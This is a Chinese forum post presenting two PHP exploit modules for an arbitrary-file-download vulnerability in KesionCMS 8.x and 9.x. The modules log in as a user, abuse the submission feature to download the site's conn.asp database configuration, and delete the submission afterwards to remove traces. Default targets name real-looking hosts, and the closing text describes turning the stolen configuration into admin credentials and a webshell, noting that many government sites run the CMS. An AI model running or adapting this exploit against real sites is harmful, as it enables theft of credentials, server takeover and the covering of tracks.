科讯 kesionCMS >=8.0 9.0 任意下载漏洞最新 Exp

1.kesionCMS 版本 大于等于8.0

2.存在用户管理平台

这次主要更新几点：

1.对8.x 9.x 都做了自行判断

2.发布投稿后会程序自动删除发布的投稿

3.增加数据库下载方式 set xiaku 1 设置即可！

4.代码整理！！

基本上就可以利用了。下面付上exploit for wve

<?php class kesion8x_9x {
public function info(){ //定义info 方法返回数组信息

$info=array(

'info'=>array( //info 数组定义模块相关信息
'author'=>'鬼哥', //作者信息
'title'=>'kesionCMS >=8.0 9.0 任意下载漏洞', //模块名称
'info'=>'https://forum.90sec.org/thread-3874-1-1.html' //模块简介
),
'option'=>array( //模块参数信息设置
'host'=>'www.jnzh.com', //host初始化值127.0.0.1
'path'=>'/',
'port'=>'80',
'xiafile'=>'conn.asp',
'user'=>'tttttt',
'pass'=>'tttttt',
'classid'=>'程序获取',
'version'=>'程序获取',
'xiaku'=>'0'
)

);

return $info;}

public function login()
{
$_SESSION['dz_8']='user/User_MySoftWare.asp?action=AddSave&channelid=3&ClassID='.$_SESSION['classid'].'&Title=xia:&DownUrls=/';
$_SESSION['dz_9']='user/User_post.asp?action=DoSave&channelid=3&ClassID='.$_SESSION['classid'].'&Title=xia:&DownUrls=/';

$data=HTTP::GET(G('host'),G('path').'user/CheckUserLogin.asp?Username='.G('user').'&Password='.G('pass'),'','');
if(strpos($data,'RndPassword=')!== false)
{
preg_match('/Set-Cookie: (.*)/', $data, $arr);

$str=$arr[1];
$order = array("\r\n", "\n", "\r"); $replace = '';
$str=str_replace($order, $replace, $str);
$_SESSION['cookie']=$str;
echo('| [√] user '.G('user').' login Success'."\n");
if(strpos(G('version'),'8')!==false)
{
$_SESSION['dz']=$_SESSION['dz_8'];
}
elseif(strpos(G('version'),'9')!==false)
{
$_SESSION['dz']=$_SESSION['dz_9'];
}
else
{
$_SESSION['dz']='xx';
}
$this->getVersion();
}
else
{
exit('| [×] user '.G('user').' login fail'."\n");
}
}

public function getVersion()
{
if($_SESSION['dz']==='xx')
{
$data=HTTP::GET(G('host'),G('path').'user/User_MySoftWare.asp','','');
preg_match('/ (.+?) /', $data, $arr);//substr($data,1,15);
if($arr[1]!=='404')
{
$_SESSION['dz']=$_SESSION['dz_8'];
echo('| [√] CMS Version 8.x'."\n");
$this->softpublish();exit;
}
else
{
echo('| [×] NOT CMS Version 8.x'."\n");
}

$data=HTTP::GET(G('host'),G('path').'user/User_post.asp','','');
preg_match('/ (.+?) /', $data, $arr);//substr($data,1,15);
if($arr[1]!=='404')
{
$_SESSION['dz']=$_SESSION['dz_9'];
echo('| [√] CMS Version 9.x'."\n");
$this->softpublish();exit;
}
else
{
echo('| [×] NOT CMS Version 9.x'."\n");
}
}
else
{
echo('| [√] CMS Version '.G('version')."\n");
$this->softpublish();exit;
}
}

public function softpublish()
{
$data=HTTP::GET(G('host'),G('path').$_SESSION['dz'].urlencode(G('xiafile')).'&Title='.urlencode(G('xiafile')),$_SESSION['cookie'],'');

if(strpos($data,'Action=Add&ClassID=')!== false)
{
echo('| [√] soft publish Success'."\n");
$this->getsoftid();exit;
}
elseif(strpos($data,'%3Cli%3E%B1%BE%C6%B5%B5%C0')!== false)
{
exit('| [×] 频道不允许投稿 漏洞无法利用！'."\n");
}
elseif(strpos($data,'系统设定不能在此栏目发表')!== false)
{
exit('| [×] classid='.$_SESSION['classid'].' 错误,请手动到/plus/rss.asp获取'."\n");
}
else
{
exit('| [×] soft publish fail'."\n");
}
}

public function softedit()
{
$data=HTTP::GET(G('host'),G('path').$_SESSION['dz'].'90sec&id='.$_SESSION['id'],$_SESSION['cookie'],'');
if(strpos($data,'修改成功')!== false)
{
echo('| [√] soft ID '.$_SESSION['id'].' Modify Success'."\n");
$this->softdel();exit;
}
else
{
exit('| [×] soft ID '.$_SESSION['id'].' Can not be modified'."\n");
}
}

public function softdel()
{
$data=HTTP::GET(G('host'),G('path').'user/User_ItemInfo.asp?channelid=3&action=Del&ID='.$_SESSION['id'],$_SESSION['cookie'],'http://xxxx.com');
if(strpos($data,'xxxx.com')!== false)
{
echo('| [√] soft ID '.$_SESSION['id'].' DEL Success'."\n");
echo('| [OK] Exploit is completed！'."\n");
if(G('xiaku')==='0')
{
if(file_exists($_SESSION['savefile']))
{
system($_SESSION['savefile']);
}
exit;
}
}
else
{
exit('| [×] soft ID '.$_SESSION['id'].' Can not be DEL'."\n");
}
}

public function getsoftid()
{
$data=HTTP::GET(G('host'),G('path').'user/User_ItemInfo.asp?ChannelID=3',$_SESSION['cookie'],'');

if(strpos($data,'value=')!== false)
{
preg_match('/value=\"(.+?)\"/', $data, $arr);
$_SESSION['id']=$arr[1];
echo('| [√] Get soft ID = '.$_SESSION['id'].' Success'."\n");
$this->downfile();exit; }
else
{
exit('| [×] Get Soft ID fail'."\n");
}
}

public function downfile()
{
if(G('xiaku')!=='0')
{
echo('| [√] '.G('xiafile').' down Url Success'."\n");
$james=fopen(dirname(dirname(__FILE__)).'\\tmpxiama.txt',"w");
fwrite($james,'下载地址：'.G('host').G('path').'plus/error.asp?action=error&message='.urlencode('<a href='.G('path').'item/downLoad.asp?m=3&downid=1&id='.$_SESSION['id'].'><b>down file 点我下载文件</b></a>').' 请下载完毕后在关闭本文本，程序进行下一步执行删除发布的投稿！');
fclose($james);
system(dirname(dirname(__FILE__)).'\\tmpxiama.txt');
$this->softedit();exit;
}
else
{
$data=HTTP::GET(G('host'),G('path').'item/downLoad.asp?m=3&downid=1&id='.$_SESSION['id'],'','http://'.G('host').G('path'));
$_SESSION['savefile']=dirname(dirname(__FILE__));
$_SESSION['savefile']=$_SESSION['savefile'].'\\'.G('xiafile').'.txt';
$james=fopen($_SESSION['savefile'],"w");
fwrite($james,$data);
fclose($james);
echo('| [√] ID '.$_SESSION['id'].' down '.$_SESSION['savefile'].' Success'."\n");
$this->softedit();exit;
}
}

public function run()//$result=explode("=",$arr[1]);
{
if(strpos(G('classid'),'20')===false)
{
$data=HTTP::GET(G('host'),G('path').'plus/rss.asp','','');
if(strpos, , ($data,'?classid=')!== false)
{
preg_match('/classid=(.+?)&/', $data, $arr);
$_SESSION['classid']=$arr[1];
echo('| [√] Get classid = '.$_SESSION['classid']."\n");
$this->login();
}
else
{
exit('| [×] Get classid fail'."\n");
}
}
else
{
$_SESSION['classid']=G('classid');
echo('| [√] Get classid = '.$_SESSION['classid']."\n");
$this->login();
}

}

}
?>
---------------------------
科讯任意文件下载 exploit for wve
<?php class kesion8x_9x{

public function info(){ //定义info 方法返回数组信息

$info=array(

'info'=>array( //info 数组定义模块相关信息
'author'=>'鬼哥', //作者信息
'title'=>'kesionCMS >=8.0 9.0 任意下载漏洞', //模块名称
'info'=>'https://forum.90sec.org/thread-3874-1-1.html' //模块简介
),
'option'=>array( //模块参数信息设置
'host'=>'bbs.kesion.com', //host初始化值127.0.0.1
'path'=>'/',
'port'=>'80',
'xiafile'=>'conn.asp',
'user'=>'tttttt',
'pass'=>'tttttt',
'classid'=>'自动获取'
)

);

return $info; }

public function tjwj($classids,$coo)
{
$data=HTTP::GET(G('host'),G('path').'user/User_MySoftWare.asp?action=AddSave&channelid=3&ClassID='.$classids.'&Title=aaniu&DownUrls=/'.G('xiafile'),$coo,'');

if(strpos($data,'Action=Add&ClassID=')!== false)
{
$this->tjwj2($coo);
}
elseif(strpos($data,'系统设定不能在此栏目发表')!== false)
{
msg('classid='.$classids.' 错误,请手动到/plus/rss.asp获取',1);
}
else
{
msg('soft publish fail',1);
}
}

public function tjwj2($coo)
{
$data=HTTP::GET(G('host'),G('path').'user/User_ItemInfo.asp?ChannelID=3',$coo,'');

if(strpos($data,'value=')!== false)
{
preg_match('/value=\"(.+?)\"/', $data, $arr);
$this->tjwj3($arr[1]);
}
else
{
msg('Get Download address error',1);
}
}

public function tjwj3($id)
{
$data=HTTP::GET(G('host'),G('path').'item/downLoad.asp?m=3&downid=1&id='.$id,'','http://'.G('host').G('path'));

$james=fopen(G('xiafile'),"w");
fwrite($james,$data);
fclose($james);

msg(G('xiafile') . ': successfully downloaded',1);
$htmlfile=G('xiafile');
if(file_exists($htmlfile)){
system("start ".$htmlfile);
}

}

public function tjwj4($classids)
{
$data=HTTP::GET(G('host'),G('path').'user/CheckUserLogin.asp?Username='.G('user').'&Password='.G('pass'),'','');

if(strpos($data,'RndPassword=')!== false)
{
preg_match('/Set-Cookie: (.*)/', $data, $arr);

$str=$arr[1];
$order = array("\r\n", "\n", "\r"); $replace = '';
$str=str_replace($order, $replace, $str);

$this->tjwj($classids,$str);
}
else
{
msg('user '.G('user').' login fail',1);
}
}

public function run(){ //模块运行函数 msg("HOST => ".G('host'),1); //

if(G('classid')=='自动获取')
{

$data=HTTP::GET(G('host'),G('path').'plus/rss.asp','','');

if(strpos($data,'?classid=')!== false)
{
preg_match('/classid=(.+?)&/', $data, $arr);

//$result=explode("=",$arr[1]);
$this->tjwj4($arr[1]);
}
else
{
msg('Get classid fail',1);
}

}
else
{
$this->tjwj4(G('classid'));
}

}

}

?>
--------------------------------------

测试拿webshell方法：下载conn.asp配置文件 查看access数据库路径(下载)或者是mssql数据的帐户密码(连接) 查看管理表_管理帐户密码，log表有后台路径等信息，进后台拿webshell就成！！

此exp只能用于漏洞检测，请不要非法利用。由于kesioncms涉及很多政府网站，请勿非法利用 传播等。一切后果自负！！

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